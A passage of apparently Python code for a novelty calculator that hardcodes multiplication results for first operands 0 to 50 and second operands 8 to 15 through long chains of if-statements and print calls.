"*" and secondNum == 8 : print("14 * 8 = 112") if firstNum == 15 and sign == "*" and secondNum == 8 : print("15 * 8 = 120") if firstNum == 16 and sign == "*" and secondNum == 8 : print("16 * 8 = 128") if firstNum == 17 and sign == "*" and secondNum == 8 : print("17 * 8 = 136") if firstNum == 18 and sign == "*" and secondNum == 8 : print("18 * 8 = 144") if firstNum == 19 and sign == "*" and secondNum == 8 : print("19 * 8 = 152") if firstNum == 20 and sign == "*" and secondNum == 8 : print("20 * 8 = 160") if firstNum == 21 and sign == "*" and secondNum == 8 : print("21 * 8 = 168") if firstNum == 22 and sign == "*" and secondNum == 8 : print("22 * 8 = 176") if firstNum == 23 and sign == "*" and secondNum == 8 : print("23 * 8 = 184") if firstNum == 24 and sign == "*" and secondNum == 8 : print("24 * 8 = 192") if firstNum == 25 and sign == "*" and secondNum == 8 : print("25 * 8 = 200") if firstNum == 26 and sign == "*" and secondNum == 8 : print("26 * 8 = 208") if firstNum == 27 and sign == "*" and secondNum == 8 : print("27 * 8 = 216") if firstNum == 28 and sign == "*" and secondNum == 8 : print("28 * 8 = 224") if firstNum == 29 and sign == "*" and secondNum == 8 : print("29 * 8 = 232") if firstNum == 30 and sign == "*" and secondNum == 8 : print("30 * 8 = 240") if firstNum == 31 and sign == "*" and secondNum == 8 : print("31 * 8 = 248") if firstNum == 32 and sign == "*" and secondNum == 8 : print("32 * 8 = 256") if firstNum == 33 and sign == "*" and secondNum == 8 : print("33 * 8 = 264") if firstNum == 34 and sign == "*" and secondNum == 8 : print("34 * 8 = 272") if firstNum == 35 and sign == "*" and secondNum == 8 : print("35 * 8 = 280") if firstNum == 36 and sign == "*" and secondNum == 8 : print("36 * 8 = 288") if firstNum == 37 and sign == "*" and secondNum == 8 : print("37 * 8 = 296") if firstNum == 38 and sign == "*" and secondNum == 8 : print("38 * 8 = 304") if firstNum == 39 and sign == "*" and secondNum == 8 : print("39 * 8 = 312") if firstNum == 40 and sign == "*" and secondNum == 8 : print("40 * 8 = 320") if firstNum == 41 and sign == "*" and secondNum == 8 : print("41 * 8 = 328") if firstNum == 42 and sign == "*" and secondNum == 8 : print("42 * 8 = 336") if firstNum == 43 and sign == "*" and secondNum == 8 : print("43 * 8 = 344") if firstNum == 44 and sign == "*" and secondNum == 8 : print("44 * 8 = 352") if firstNum == 45 and sign == "*" and secondNum == 8 : print("45 * 8 = 360") if firstNum == 46 and sign == "*" and secondNum == 8 : print("46 * 8 = 368") if firstNum == 47 and sign == "*" and secondNum == 8 : print("47 * 8 = 376") if firstNum == 48 and sign == "*" and secondNum == 8 : print("48 * 8 = 384") if firstNum == 49 and sign == "*" and secondNum == 8 : print("49 * 8 = 392") if firstNum == 50 and sign == "*" and secondNum == 8 : print("50 * 8 = 400") if firstNum == 0 and sign == "*" and secondNum == 9 : print("0 * 9 = 0") if firstNum == 1 and sign == "*" and secondNum == 9 : print("1 * 9 = 9") if firstNum == 2 and sign == "*" and secondNum == 9 : print("2 * 9 = 18") if firstNum == 3 and sign == "*" and secondNum == 9 : print("3 * 9 = 27") if firstNum == 4 and sign == "*" and secondNum == 9 : print("4 * 9 = 36") if firstNum == 5 and sign == "*" and secondNum == 9 : print("5 * 9 = 45") if firstNum == 6 and sign == "*" and secondNum == 9 : print("6 * 9 = 54") if firstNum == 7 and sign == "*" and secondNum == 9 : print("7 * 9 = 63") if firstNum == 8 and sign == "*" and secondNum == 9 : print("8 * 9 = 72") if firstNum == 9 and sign == "*" and secondNum == 9 : print("9 * 9 = 81") if firstNum == 10 and sign == "*" and secondNum == 9 : print("10 * 9 = 90") if firstNum == 11 and sign == "*" and secondNum == 9 : print("11 * 9 = 99") if firstNum == 12 and sign == "*" and secondNum == 9 : print("12 * 9 = 108") if firstNum == 13 and sign == "*" and secondNum == 9 : print("13 * 9 = 117") if firstNum == 14 and sign == "*" and secondNum == 9 : print("14 * 9 = 126") if firstNum == 15 and sign == "*" and secondNum == 9 : print("15 * 9 = 135") if firstNum == 16 and sign == "*" and secondNum == 9 : print("16 * 9 = 144") if firstNum == 17 and sign == "*" and secondNum == 9 : print("17 * 9 = 153") if firstNum == 18 and sign == "*" and secondNum == 9 : print("18 * 9 = 162") if firstNum == 19 and sign == "*" and secondNum == 9 : print("19 * 9 = 171") if firstNum == 20 and sign == "*" and secondNum == 9 : print("20 * 9 = 180") if firstNum == 21 and sign == "*" and secondNum == 9 : print("21 * 9 = 189") if firstNum == 22 and sign == "*" and secondNum == 9 : print("22 * 9 = 198") if firstNum == 23 and sign == "*" and secondNum == 9 : print("23 * 9 = 207") if firstNum == 24 and sign == "*" and secondNum == 9 : print("24 * 9 = 216") if firstNum == 25 and sign == "*" and secondNum == 9 : print("25 * 9 = 225") if firstNum == 26 and sign == "*" and secondNum == 9 : print("26 * 9 = 234") if firstNum == 27 and sign == "*" and secondNum == 9 : print("27 * 9 = 243") if firstNum == 28 and sign == "*" and secondNum == 9 : print("28 * 9 = 252") if firstNum == 29 and sign == "*" and secondNum == 9 : print("29 * 9 = 261") if firstNum == 30 and sign == "*" and secondNum == 9 : print("30 * 9 = 270") if firstNum == 31 and sign == "*" and secondNum == 9 : print("31 * 9 = 279") if firstNum == 32 and sign == "*" and secondNum == 9 : print("32 * 9 = 288") if firstNum == 33 and sign == "*" and secondNum == 9 : print("33 * 9 = 297") if firstNum == 34 and sign == "*" and secondNum == 9 : print("34 * 9 = 306") if firstNum == 35 and sign == "*" and secondNum == 9 : print("35 * 9 = 315") if firstNum == 36 and sign == "*" and secondNum == 9 : print("36 * 9 = 324") if firstNum == 37 and sign == "*" and secondNum == 9 : print("37 * 9 = 333") if firstNum == 38 and sign == "*" and secondNum == 9 : print("38 * 9 = 342") if firstNum == 39 and sign == "*" and secondNum == 9 : print("39 * 9 = 351") if firstNum == 40 and sign == "*" and secondNum == 9 : print("40 * 9 = 360") if firstNum == 41 and sign == "*" and secondNum == 9 : print("41 * 9 = 369") if firstNum == 42 and sign == "*" and secondNum == 9 : print("42 * 9 = 378") if firstNum == 43 and sign == "*" and secondNum == 9 : print("43 * 9 = 387") if firstNum == 44 and sign == "*" and secondNum == 9 : print("44 * 9 = 396") if firstNum == 45 and sign == "*" and secondNum == 9 : print("45 * 9 = 405") if firstNum == 46 and sign == "*" and secondNum == 9 : print("46 * 9 = 414") if firstNum == 47 and sign == "*" and secondNum == 9 : print("47 * 9 = 423") if firstNum == 48 and sign == "*" and secondNum == 9 : print("48 * 9 = 432") if firstNum == 49 and sign == "*" and secondNum == 9 : print("49 * 9 = 441") if firstNum == 50 and sign == "*" and secondNum == 9 : print("50 * 9 = 450") if firstNum == 0 and sign == "*" and secondNum == 10 : print("0 * 10 = 0") if firstNum == 1 and sign == "*" and secondNum == 10 : print("1 * 10 = 10") if firstNum == 2 and sign == "*" and secondNum == 10 : print("2 * 10 = 20") if firstNum == 3 and sign == "*" and secondNum == 10 : print("3 * 10 = 30") if firstNum == 4 and sign == "*" and secondNum == 10 : print("4 * 10 = 40") if firstNum == 5 and sign == "*" and secondNum == 10 : print("5 * 10 = 50") if firstNum == 6 and sign == "*" and secondNum == 10 : print("6 * 10 = 60") if firstNum == 7 and sign == "*" and secondNum == 10 : print("7 * 10 = 70") if firstNum == 8 and sign == "*" and secondNum == 10 : print("8 * 10 = 80") if firstNum == 9 and sign == "*" and secondNum == 10 : print("9 * 10 = 90") if firstNum == 10 and sign == "*" and secondNum == 10 : print("10 * 10 = 100") if firstNum == 11 and sign == "*" and secondNum == 10 : print("11 * 10 = 110") if firstNum == 12 and sign == "*" and secondNum == 10 : print("12 * 10 = 120") if firstNum == 13 and sign == "*" and secondNum == 10 : print("13 * 10 = 130") if firstNum == 14 and sign == "*" and secondNum == 10 : print("14 * 10 = 140") if firstNum == 15 and sign == "*" and secondNum == 10 : print("15 * 10 = 150") if firstNum == 16 and sign == "*" and secondNum == 10 : print("16 * 10 = 160") if firstNum == 17 and sign == "*" and secondNum == 10 : print("17 * 10 = 170") if firstNum == 18 and sign == "*" and secondNum == 10 : print("18 * 10 = 180") if firstNum == 19 and sign == "*" and secondNum == 10 : print("19 * 10 = 190") if firstNum == 20 and sign == "*" and secondNum == 10 : print("20 * 10 = 200") if firstNum == 21 and sign == "*" and secondNum == 10 : print("21 * 10 = 210") if firstNum == 22 and sign == "*" and secondNum == 10 : print("22 * 10 = 220") if firstNum == 23 and sign == "*" and secondNum == 10 : print("23 * 10 = 230") if firstNum == 24 and sign == "*" and secondNum == 10 : print("24 * 10 = 240") if firstNum == 25 and sign == "*" and secondNum == 10 : print("25 * 10 = 250") if firstNum == 26 and sign == "*" and secondNum == 10 : print("26 * 10 = 260") if firstNum == 27 and sign == "*" and secondNum == 10 : print("27 * 10 = 270") if firstNum == 28 and sign == "*" and secondNum == 10 : print("28 * 10 = 280") if firstNum == 29 and sign == "*" and secondNum == 10 : print("29 * 10 = 290") if firstNum == 30 and sign == "*" and secondNum == 10 : print("30 * 10 = 300") if firstNum == 31 and sign == "*" and secondNum == 10 : print("31 * 10 = 310") if firstNum == 32 and sign == "*" and secondNum == 10 : print("32 * 10 = 320") if firstNum == 33 and sign == "*" and secondNum == 10 : print("33 * 10 = 330") if firstNum == 34 and sign == "*" and secondNum == 10 : print("34 * 10 = 340") if firstNum == 35 and sign == "*" and secondNum == 10 : print("35 * 10 = 350") if firstNum == 36 and sign == "*" and secondNum == 10 : print("36 * 10 = 360") if firstNum == 37 and sign == "*" and secondNum == 10 : print("37 * 10 = 370") if firstNum == 38 and sign == "*" and secondNum == 10 : print("38 * 10 = 380") if firstNum == 39 and sign == "*" and secondNum == 10 : print("39 * 10 = 390") if firstNum == 40 and sign == "*" and secondNum == 10 : print("40 * 10 = 400") if firstNum == 41 and sign == "*" and secondNum == 10 : print("41 * 10 = 410") if firstNum == 42 and sign == "*" and secondNum == 10 : print("42 * 10 = 420") if firstNum == 43 and sign == "*" and secondNum == 10 : print("43 * 10 = 430") if firstNum == 44 and sign == "*" and secondNum == 10 : print("44 * 10 = 440") if firstNum == 45 and sign == "*" and secondNum == 10 : print("45 * 10 = 450") if firstNum == 46 and sign == "*" and secondNum == 10 : print("46 * 10 = 460") if firstNum == 47 and sign == "*" and secondNum == 10 : print("47 * 10 = 470") if firstNum == 48 and sign == "*" and secondNum == 10 : print("48 * 10 = 480") if firstNum == 49 and sign == "*" and secondNum == 10 : print("49 * 10 = 490") if firstNum == 50 and sign == "*" and secondNum == 10 : print("50 * 10 = 500") if firstNum == 0 and sign == "*" and secondNum == 11 : print("0 * 11 = 0") if firstNum == 1 and sign == "*" and secondNum == 11 : print("1 * 11 = 11") if firstNum == 2 and sign == "*" and secondNum == 11 : print("2 * 11 = 22") if firstNum == 3 and sign == "*" and secondNum == 11 : print("3 * 11 = 33") if firstNum == 4 and sign == "*" and secondNum == 11 : print("4 * 11 = 44") if firstNum == 5 and sign == "*" and secondNum == 11 : print("5 * 11 = 55") if firstNum == 6 and sign == "*" and secondNum == 11 : print("6 * 11 = 66") if firstNum == 7 and sign == "*" and secondNum == 11 : print("7 * 11 = 77") if firstNum == 8 and sign == "*" and secondNum == 11 : print("8 * 11 = 88") if firstNum == 9 and sign == "*" and secondNum == 11 : print("9 * 11 = 99") if firstNum == 10 and sign == "*" and secondNum == 11 : print("10 * 11 = 110") if firstNum == 11 and sign == "*" and secondNum == 11 : print("11 * 11 = 121") if firstNum == 12 and sign == "*" and secondNum == 11 : print("12 * 11 = 132") if firstNum == 13 and sign == "*" and secondNum == 11 : print("13 * 11 = 143") if firstNum == 14 and sign == "*" and secondNum == 11 : print("14 * 11 = 154") if firstNum == 15 and sign == "*" and secondNum == 11 : print("15 * 11 = 165") if firstNum == 16 and sign == "*" and secondNum == 11 : print("16 * 11 = 176") if firstNum == 17 and sign == "*" and secondNum == 11 : print("17 * 11 = 187") if firstNum == 18 and sign == "*" and secondNum == 11 : print("18 * 11 = 198") if firstNum == 19 and sign == "*" and secondNum == 11 : print("19 * 11 = 209") if firstNum == 20 and sign == "*" and secondNum == 11 : print("20 * 11 = 220") if firstNum == 21 and sign == "*" and secondNum == 11 : print("21 * 11 = 231") if firstNum == 22 and sign == "*" and secondNum == 11 : print("22 * 11 = 242") if firstNum == 23 and sign == "*" and secondNum == 11 : print("23 * 11 = 253") if firstNum == 24 and sign == "*" and secondNum == 11 : print("24 * 11 = 264") if firstNum == 25 and sign == "*" and secondNum == 11 : print("25 * 11 = 275") if firstNum == 26 and sign == "*" and secondNum == 11 : print("26 * 11 = 286") if firstNum == 27 and sign == "*" and secondNum == 11 : print("27 * 11 = 297") if firstNum == 28 and sign == "*" and secondNum == 11 : print("28 * 11 = 308") if firstNum == 29 and sign == "*" and secondNum == 11 : print("29 * 11 = 319") if firstNum == 30 and sign == "*" and secondNum == 11 : print("30 * 11 = 330") if firstNum == 31 and sign == "*" and secondNum == 11 : print("31 * 11 = 341") if firstNum == 32 and sign == "*" and secondNum == 11 : print("32 * 11 = 352") if firstNum == 33 and sign == "*" and secondNum == 11 : print("33 * 11 = 363") if firstNum == 34 and sign == "*" and secondNum == 11 : print("34 * 11 = 374") if firstNum == 35 and sign == "*" and secondNum == 11 : print("35 * 11 = 385") if firstNum == 36 and sign == "*" and secondNum == 11 : print("36 * 11 = 396") if firstNum == 37 and sign == "*" and secondNum == 11 : print("37 * 11 = 407") if firstNum == 38 and sign == "*" and secondNum == 11 : print("38 * 11 = 418") if firstNum == 39 and sign == "*" and secondNum == 11 : print("39 * 11 = 429") if firstNum == 40 and sign == "*" and secondNum == 11 : print("40 * 11 = 440") if firstNum == 41 and sign == "*" and secondNum == 11 : print("41 * 11 = 451") if firstNum == 42 and sign == "*" and secondNum == 11 : print("42 * 11 = 462") if firstNum == 43 and sign == "*" and secondNum == 11 : print("43 * 11 = 473") if firstNum == 44 and sign == "*" and secondNum == 11 : print("44 * 11 = 484") if firstNum == 45 and sign == "*" and secondNum == 11 : print("45 * 11 = 495") if firstNum == 46 and sign == "*" and secondNum == 11 : print("46 * 11 = 506") if firstNum == 47 and sign == "*" and secondNum == 11 : print("47 * 11 = 517") if firstNum == 48 and sign == "*" and secondNum == 11 : print("48 * 11 = 528") if firstNum == 49 and sign == "*" and secondNum == 11 : print("49 * 11 = 539") if firstNum == 50 and sign == "*" and secondNum == 11 : print("50 * 11 = 550") if firstNum == 0 and sign == "*" and secondNum == 12 : print("0 * 12 = 0") if firstNum == 1 and sign == "*" and secondNum == 12 : print("1 * 12 = 12") if firstNum == 2 and sign == "*" and secondNum == 12 : print("2 * 12 = 24") if firstNum == 3 and sign == "*" and secondNum == 12 : print("3 * 12 = 36") if firstNum == 4 and sign == "*" and secondNum == 12 : print("4 * 12 = 48") if firstNum == 5 and sign == "*" and secondNum == 12 : print("5 * 12 = 60") if firstNum == 6 and sign == "*" and secondNum == 12 : print("6 * 12 = 72") if firstNum == 7 and sign == "*" and secondNum == 12 : print("7 * 12 = 84") if firstNum == 8 and sign == "*" and secondNum == 12 : print("8 * 12 = 96") if firstNum == 9 and sign == "*" and secondNum == 12 : print("9 * 12 = 108") if firstNum == 10 and sign == "*" and secondNum == 12 : print("10 * 12 = 120") if firstNum == 11 and sign == "*" and secondNum == 12 : print("11 * 12 = 132") if firstNum == 12 and sign == "*" and secondNum == 12 : print("12 * 12 = 144") if firstNum == 13 and sign == "*" and secondNum == 12 : print("13 * 12 = 156") if firstNum == 14 and sign == "*" and secondNum == 12 : print("14 * 12 = 168") if firstNum == 15 and sign == "*" and secondNum == 12 : print("15 * 12 = 180") if firstNum == 16 and sign == "*" and secondNum == 12 : print("16 * 12 = 192") if firstNum == 17 and sign == "*" and secondNum == 12 : print("17 * 12 = 204") if firstNum == 18 and sign == "*" and secondNum == 12 : print("18 * 12 = 216") if firstNum == 19 and sign == "*" and secondNum == 12 : print("19 * 12 = 228") if firstNum == 20 and sign == "*" and secondNum == 12 : print("20 * 12 = 240") if firstNum == 21 and sign == "*" and secondNum == 12 : print("21 * 12 = 252") if firstNum == 22 and sign == "*" and secondNum == 12 : print("22 * 12 = 264") if firstNum == 23 and sign == "*" and secondNum == 12 : print("23 * 12 = 276") if firstNum == 24 and sign == "*" and secondNum == 12 : print("24 * 12 = 288") if firstNum == 25 and sign == "*" and secondNum == 12 : print("25 * 12 = 300") if firstNum == 26 and sign == "*" and secondNum == 12 : print("26 * 12 = 312") if firstNum == 27 and sign == "*" and secondNum == 12 : print("27 * 12 = 324") if firstNum == 28 and sign == "*" and secondNum == 12 : print("28 * 12 = 336") if firstNum == 29 and sign == "*" and secondNum == 12 : print("29 * 12 = 348") if firstNum == 30 and sign == "*" and secondNum == 12 : print("30 * 12 = 360") if firstNum == 31 and sign == "*" and secondNum == 12 : print("31 * 12 = 372") if firstNum == 32 and sign == "*" and secondNum == 12 : print("32 * 12 = 384") if firstNum == 33 and sign == "*" and secondNum == 12 : print("33 * 12 = 396") if firstNum == 34 and sign == "*" and secondNum == 12 : print("34 * 12 = 408") if firstNum == 35 and sign == "*" and secondNum == 12 : print("35 * 12 = 420") if firstNum == 36 and sign == "*" and secondNum == 12 : print("36 * 12 = 432") if firstNum == 37 and sign == "*" and secondNum == 12 : print("37 * 12 = 444") if firstNum == 38 and sign == "*" and secondNum == 12 : print("38 * 12 = 456") if firstNum == 39 and sign == "*" and secondNum == 12 : print("39 * 12 = 468") if firstNum == 40 and sign == "*" and secondNum == 12 : print("40 * 12 = 480") if firstNum == 41 and sign == "*" and secondNum == 12 : print("41 * 12 = 492") if firstNum == 42 and sign == "*" and secondNum == 12 : print("42 * 12 = 504") if firstNum == 43 and sign == "*" and secondNum == 12 : print("43 * 12 = 516") if firstNum == 44 and sign == "*" and secondNum == 12 : print("44 * 12 = 528") if firstNum == 45 and sign == "*" and secondNum == 12 : print("45 * 12 = 540") if firstNum == 46 and sign == "*" and secondNum == 12 : print("46 * 12 = 552") if firstNum == 47 and sign == "*" and secondNum == 12 : print("47 * 12 = 564") if firstNum == 48 and sign == "*" and secondNum == 12 : print("48 * 12 = 576") if firstNum == 49 and sign == "*" and secondNum == 12 : print("49 * 12 = 588") if firstNum == 50 and sign == "*" and secondNum == 12 : print("50 * 12 = 600") if firstNum == 0 and sign == "*" and secondNum == 13 : print("0 * 13 = 0") if firstNum == 1 and sign == "*" and secondNum == 13 : print("1 * 13 = 13") if firstNum == 2 and sign == "*" and secondNum == 13 : print("2 * 13 = 26") if firstNum == 3 and sign == "*" and secondNum == 13 : print("3 * 13 = 39") if firstNum == 4 and sign == "*" and secondNum == 13 : print("4 * 13 = 52") if firstNum == 5 and sign == "*" and secondNum == 13 : print("5 * 13 = 65") if firstNum == 6 and sign == "*" and secondNum == 13 : print("6 * 13 = 78") if firstNum == 7 and sign == "*" and secondNum == 13 : print("7 * 13 = 91") if firstNum == 8 and sign == "*" and secondNum == 13 : print("8 * 13 = 104") if firstNum == 9 and sign == "*" and secondNum == 13 : print("9 * 13 = 117") if firstNum == 10 and sign == "*" and secondNum == 13 : print("10 * 13 = 130") if firstNum == 11 and sign == "*" and secondNum == 13 : print("11 * 13 = 143") if firstNum == 12 and sign == "*" and secondNum == 13 : print("12 * 13 = 156") if firstNum == 13 and sign == "*" and secondNum == 13 : print("13 * 13 = 169") if firstNum == 14 and sign == "*" and secondNum == 13 : print("14 * 13 = 182") if firstNum == 15 and sign == "*" and secondNum == 13 : print("15 * 13 = 195") if firstNum == 16 and sign == "*" and secondNum == 13 : print("16 * 13 = 208") if firstNum == 17 and sign == "*" and secondNum == 13 : print("17 * 13 = 221") if firstNum == 18 and sign == "*" and secondNum == 13 : print("18 * 13 = 234") if firstNum == 19 and sign == "*" and secondNum == 13 : print("19 * 13 = 247") if firstNum == 20 and sign == "*" and secondNum == 13 : print("20 * 13 = 260") if firstNum == 21 and sign == "*" and secondNum == 13 : print("21 * 13 = 273") if firstNum == 22 and sign == "*" and secondNum == 13 : print("22 * 13 = 286") if firstNum == 23 and sign == "*" and secondNum == 13 : print("23 * 13 = 299") if firstNum == 24 and sign == "*" and secondNum == 13 : print("24 * 13 = 312") if firstNum == 25 and sign == "*" and secondNum == 13 : print("25 * 13 = 325") if firstNum == 26 and sign == "*" and secondNum == 13 : print("26 * 13 = 338") if firstNum == 27 and sign == "*" and secondNum == 13 : print("27 * 13 = 351") if firstNum == 28 and sign == "*" and secondNum == 13 : print("28 * 13 = 364") if firstNum == 29 and sign == "*" and secondNum == 13 : print("29 * 13 = 377") if firstNum == 30 and sign == "*" and secondNum == 13 : print("30 * 13 = 390") if firstNum == 31 and sign == "*" and secondNum == 13 : print("31 * 13 = 403") if firstNum == 32 and sign == "*" and secondNum == 13 : print("32 * 13 = 416") if firstNum == 33 and sign == "*" and secondNum == 13 : print("33 * 13 = 429") if firstNum == 34 and sign == "*" and secondNum == 13 : print("34 * 13 = 442") if firstNum == 35 and sign == "*" and secondNum == 13 : print("35 * 13 = 455") if firstNum == 36 and sign == "*" and secondNum == 13 : print("36 * 13 = 468") if firstNum == 37 and sign == "*" and secondNum == 13 : print("37 * 13 = 481") if firstNum == 38 and sign == "*" and secondNum == 13 : print("38 * 13 = 494") if firstNum == 39 and sign == "*" and secondNum == 13 : print("39 * 13 = 507") if firstNum == 40 and sign == "*" and secondNum == 13 : print("40 * 13 = 520") if firstNum == 41 and sign == "*" and secondNum == 13 : print("41 * 13 = 533") if firstNum == 42 and sign == "*" and secondNum == 13 : print("42 * 13 = 546") if firstNum == 43 and sign == "*" and secondNum == 13 : print("43 * 13 = 559") if firstNum == 44 and sign == "*" and secondNum == 13 : print("44 * 13 = 572") if firstNum == 45 and sign == "*" and secondNum == 13 : print("45 * 13 = 585") if firstNum == 46 and sign == "*" and secondNum == 13 : print("46 * 13 = 598") if firstNum == 47 and sign == "*" and secondNum == 13 : print("47 * 13 = 611") if firstNum == 48 and sign == "*" and secondNum == 13 : print("48 * 13 = 624") if firstNum == 49 and sign == "*" and secondNum == 13 : print("49 * 13 = 637") if firstNum == 50 and sign == "*" and secondNum == 13 : print("50 * 13 = 650") if firstNum == 0 and sign == "*" and secondNum == 14 : print("0 * 14 = 0") if firstNum == 1 and sign == "*" and secondNum == 14 : print("1 * 14 = 14") if firstNum == 2 and sign == "*" and secondNum == 14 : print("2 * 14 = 28") if firstNum == 3 and sign == "*" and secondNum == 14 : print("3 * 14 = 42") if firstNum == 4 and sign == "*" and secondNum == 14 : print("4 * 14 = 56") if firstNum == 5 and sign == "*" and secondNum == 14 : print("5 * 14 = 70") if firstNum == 6 and sign == "*" and secondNum == 14 : print("6 * 14 = 84") if firstNum == 7 and sign == "*" and secondNum == 14 : print("7 * 14 = 98") if firstNum == 8 and sign == "*" and secondNum == 14 : print("8 * 14 = 112") if firstNum == 9 and sign == "*" and secondNum == 14 : print("9 * 14 = 126") if firstNum == 10 and sign == "*" and secondNum == 14 : print("10 * 14 = 140") if firstNum == 11 and sign == "*" and secondNum == 14 : print("11 * 14 = 154") if firstNum == 12 and sign == "*" and secondNum == 14 : print("12 * 14 = 168") if firstNum == 13 and sign == "*" and secondNum == 14 : print("13 * 14 = 182") if firstNum == 14 and sign == "*" and secondNum == 14 : print("14 * 14 = 196") if firstNum == 15 and sign == "*" and secondNum == 14 : print("15 * 14 = 210") if firstNum == 16 and sign == "*" and secondNum == 14 : print("16 * 14 = 224") if firstNum == 17 and sign == "*" and secondNum == 14 : print("17 * 14 = 238") if firstNum == 18 and sign == "*" and secondNum == 14 : print("18 * 14 = 252") if firstNum == 19 and sign == "*" and secondNum == 14 : print("19 * 14 = 266") if firstNum == 20 and sign == "*" and secondNum == 14 : print("20 * 14 = 280") if firstNum == 21 and sign == "*" and secondNum == 14 : print("21 * 14 = 294") if firstNum == 22 and sign == "*" and secondNum == 14 : print("22 * 14 = 308") if firstNum == 23 and sign == "*" and secondNum == 14 : print("23 * 14 = 322") if firstNum == 24 and sign == "*" and secondNum == 14 : print("24 * 14 = 336") if firstNum == 25 and sign == "*" and secondNum == 14 : print("25 * 14 = 350") if firstNum == 26 and sign == "*" and secondNum == 14 : print("26 * 14 = 364") if firstNum == 27 and sign == "*" and secondNum == 14 : print("27 * 14 = 378") if firstNum == 28 and sign == "*" and secondNum == 14 : print("28 * 14 = 392") if firstNum == 29 and sign == "*" and secondNum == 14 : print("29 * 14 = 406") if firstNum == 30 and sign == "*" and secondNum == 14 : print("30 * 14 = 420") if firstNum == 31 and sign == "*" and secondNum == 14 : print("31 * 14 = 434") if firstNum == 32 and sign == "*" and secondNum == 14 : print("32 * 14 = 448") if firstNum == 33 and sign == "*" and secondNum == 14 : print("33 * 14 = 462") if firstNum == 34 and sign == "*" and secondNum == 14 : print("34 * 14 = 476") if firstNum == 35 and sign == "*" and secondNum == 14 : print("35 * 14 = 490") if firstNum == 36 and sign == "*" and secondNum == 14 : print("36 * 14 = 504") if firstNum == 37 and sign == "*" and secondNum == 14 : print("37 * 14 = 518") if firstNum == 38 and sign == "*" and secondNum == 14 : print("38 * 14 = 532") if firstNum == 39 and sign == "*" and secondNum == 14 : print("39 * 14 = 546") if firstNum == 40 and sign == "*" and secondNum == 14 : print("40 * 14 = 560") if firstNum == 41 and sign == "*" and secondNum == 14 : print("41 * 14 = 574") if firstNum == 42 and sign == "*" and secondNum == 14 : print("42 * 14 = 588") if firstNum == 43 and sign == "*" and secondNum == 14 : print("43 * 14 = 602") if firstNum == 44 and sign == "*" and secondNum == 14 : print("44 * 14 = 616") if firstNum == 45 and sign == "*" and secondNum == 14 : print("45 * 14 = 630") if firstNum == 46 and sign == "*" and secondNum == 14 : print("46 * 14 = 644") if firstNum == 47 and sign == "*" and secondNum == 14 : print("47 * 14 = 658") if firstNum == 48 and sign == "*" and secondNum == 14 : print("48 * 14 = 672") if firstNum == 49 and sign == "*" and secondNum == 14 : print("49 * 14 = 686") if firstNum == 50 and sign == "*" and secondNum == 14 : print("50 * 14 = 700") if firstNum == 0 and sign == "*" and secondNum == 15 : print("0 * 15 = 0") if firstNum == 1 and sign == "*" and secondNum == 15 : print("1 * 15 = 15") if firstNum == 2 and sign == "*" and secondNum == 15 : print("2 * 15 = 30") if firstNum == 3 and sign == "*" and secondNum == 15 : print("3 * 15 = 45") if firstNum == 4 and sign == "*" and secondNum == 15 : print("4 * 15 = 60") if firstNum == 5 and sign == "*" and secondNum == 15 : print("5 * 15 = 75") if firstNum == 6 and sign == "*" and secondNum == 15 : print("6 * 15 = 90") if firstNum == 7 and sign == "*" and secondNum == 15 : print("7 * 15 = 105") if firstNum == 8 and sign == "*" and secondNum == 15 : print("8 * 15 = 120") if firstNum == 9 and sign == "*" and secondNum == 15 : print("9 * 15 = 135") if firstNum == 10 and sign == "*" and secondNum == 15 : print("10 * 15 = 150") if firstNum == 11 and sign == "*" and secondNum == 15 : print("11 * 15 = 165") if firstNum == 12 and sign == "*" and secondNum == 15 : print("12 * 15 = 180") if firstNum == 13 and sign == "*" and secondNum == 15 : print("13 * 15 = 195") if firstNum == 14 and sign == "*" and secondNum == 15 : print("14 * 15 = 210") if firstNum == 15 and sign == "*" and secondNum == 15 : print("15 * 15 = 225") if firstNum == 16 and sign == "*" and secondNum == 15 : print("16 * 15 = 240") if firstNum == 17 and sign == "*" and secondNum == 15 : print("17 * 15 = 255") if firstNum == 18 and sign == "*" and secondNum == 15 : print("18 * 15 = 270") if firstNum == 19 and sign == "*" and secondNum == 15 : print("19 * 15 = 285") if firstNum == 20 and sign == "*" and secondNum == 15 : print("20 * 15 = 300") if firstNum == 21 and sign == "*" and secondNum == 15 : print("21 * 15 = 315") if firstNum == 22 and sign == "*" and secondNum == 15 : print("22 * 15 = 330") if firstNum == 23 and sign == "*" and secondNum == 15 : print("23 * 15 = 345") if firstNum == 24 and sign == "*" and secondNum == 15 : print("24 * 15 = 360") if firstNum == 25 and sign == "*" and secondNum == 15 : print("25 * 15 = 375") if firstNum == 26 and sign == "*" and secondNum == 15 : print("26 * 15 = 390") if firstNum == 27 and sign == "*" and secondNum == 15 : print("27 * 15 = 405") if firstNum == 28 and sign == "*" and secondNum == 15 : print("28 * 15 = 420") if firstNum == 29 and sign == "*" and secondNum == 15 : print("29 * 15 = 435") if firstNum == 30 and sign == "*" and secondNum == 15 : print("30 * 15 = 450") if firstNum == 31 and sign == "*" and secondNum == 15 : print("31 * 15 = 465") if firstNum == 32 and sign == "*" and secondNum == 15 : print("32 * 15 = 480") if firstNum == 33 and sign == "*" and secondNum == 15 : print("33 * 15 = 495") if firstNum == 34 and sign == "*" and secondNum == 15 : print("34 * 15 = 510") if firstNum == 35 and sign == "*" and secondNum == 15 : print("35 * 15 = 525") if firstNum == 36 and sign == "*" and secondNum == 15 : print("36 * 15 = 540") if firstNum == 37 and sign == "*" and secondNum == 15 : print("37 * 15 = 555") if firstNum == 38 and sign == "*" and secondNum == 15 : print("38 * 15 = 570") if firstNum == 39 and sign == "*" and secondNum == 15 : print("39 * 15 = 585") if firstNum == 40 and sign == "*" and secondNum == 15 : print("40 * 15 = 600") if firstNum == 41 and sign == "*" and secondNum == 15 : print("41 * 15 = 615") if firstNum == 42 and sign == "*" and secondNum == 15 : print("42 * 15 = 630") if firstNum == 43 and sign == "*" and secondNum == 15 : print("43 * 15 = 645") if firstNum == 44 and sign == "*" and secondNum == 15 : print("44 * 15 = 660") if firstNum == 45 and sign == "*" and secondNum == 15 : print("45 * 15 = 675") if firstNum == 46 and sign == "*" and secondNum == 15 : print("46 * 15 = 690") if firstNum == 47 and sign == "*" and secondNum == 15 : print("47 * 15 = 705") if firstNum == 48 and sign == "*" and secondNum == 15 : print("48 * 15 = 720") if firstNum == 49 and sign == "*" and secondNum == 15 : print("49 * 15 = 735") if firstNum == 50 and sign == "*" and secondNum == 15 : print("50 * 15 = 750") if firstNum == 0 and sign == "*" and secondNum == 16 : print("0 * 16 = 0") if 